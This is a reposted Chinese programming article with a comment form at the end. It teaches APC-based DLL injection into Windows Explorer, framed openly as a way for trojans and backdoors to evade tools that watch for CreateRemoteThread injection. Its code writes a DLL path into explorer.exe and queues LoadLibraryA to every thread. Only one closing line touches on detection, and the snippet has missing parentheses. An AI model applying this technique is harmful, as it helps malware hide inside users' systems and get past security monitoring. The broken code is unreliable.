首页 > 开发 > 综合 > 正文

暴力注入Explorer

2024-07-21 02:29:13
字体:
来源:转载
供稿:网友

最大的网站源码资源下载站,

        向一个运行中的进程注入自己的代码,最自然莫过于使用createremotethread,
如今远线程注入已经是泛滥成灾,同样的监测远线程注入、防止远线程注入的工具也
举不胜举,一个木马或后门启动时向explorer或ie的注入操作就像在自己脸上写上
“我是贼”一样。
    用户态代码想要更隐蔽地藏身于别的进程,就应该在注入的环节隐蔽自己的行
为。下面就介绍一种非常简单不过比较暴力的方法,给出的示例为在explorer里加
载自己的dll。
    首先提到的就是一个api:queueuserapc

    dword queueuserapc(
      papcfunc pfnapc,  // apc function
      handle hthread,   // handle to thread
      ulong_ptr dwdata  // apc function parameter
    ;

    大家对这个api应该并不陌生,它直接转入了系统服务ntqueueapcthread从而利
用keinsertqueueapc向给出的目标线程的apc队列插入一apc对象。倘若kideliverapc
顺利的去构造apc环境并执行我们的代码那一切就ok了,只可惜没有那么顺利的事,
apcstate中userapcpending是否为true有重要的影响,结果往往是你等到花儿都谢了
你的代码还是没得到执行。在核心态往往不成问题,自己动手赋值,可是用户态
程序可不好做,怎么办?其实最简单的,不好做就不做啰,让系统去干。
    实际上应用程序在请求“alertable”的等待时系统就会置userapcpending为
true(当kedelayexecutionthread/kewaitformultipleobjects/kewaitforsingleobject
使用testforalertpending时就有可能,此外还有ketestalertthread等,机会还是有的
),最简单的例子,目标线程调用sleepex(***, true)后我们插入apc代码就会乖乖执
行了。
    比较幸运的是explorer进程中一般情况下总有合我们意的线程,于是最简单但并不
优美的办法就是枚举explorer中所有线程,全数插入,示意如下:

    ......
    dword ret;
    char *dllname = "c://mydll.dll";
    int len = strlen(dllname) + 1;
    pvoid param = virtualallocex(hprocess, null, len,
                                 mem_commit | mem_top_down,
                                 page_readwrite);
    if (param != null)
    {
        if (writeprocessmemory(hprocess, param,
                               (lpvoid)dllname, len, &ret))
        {
            for (dword p = 0; p < numberofthreads; p ++)
            {
                hthread = openthread(thread_all_access, 0, threadid[p]);
                if (hthread != 0)
                {
                    injectdll(hprocess, hthread, (dword)param);
                    closehandle(hthread);
                }
            }
    }
    ......
    
    其中injectdll:
    void injectdll(handle hprocess, handle hthread, dword param)
    {
        queueuserapc(
            (papcfunc)getprocaddress(getmodulehandle("kernel32.dll", "loadlibrarya", 
            hthread, 
            (dword)param
            ;
    }
    
    loadlibrarya被调用后即将你的dll加载入目标进程explorer,运行是在目标进程的某
个线程环境中,一般你的dll可以这时创建自己的线程。
    这样,整个过程虽然有些暴力(原因很明显,比如原本userapcpending为true的线程
被弄成了false等等),并且仅是一次性插入,缺陷是明显的,不过插入过程的确更为隐蔽。

    针对使用这种的“无耻”方法的程序,检/监测程序就需要增加一些判断,比如对
ntqueueapcthread的合理监测等等。

有时候,那些最古老的木马伪装的好反而不容易被杀。。。
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表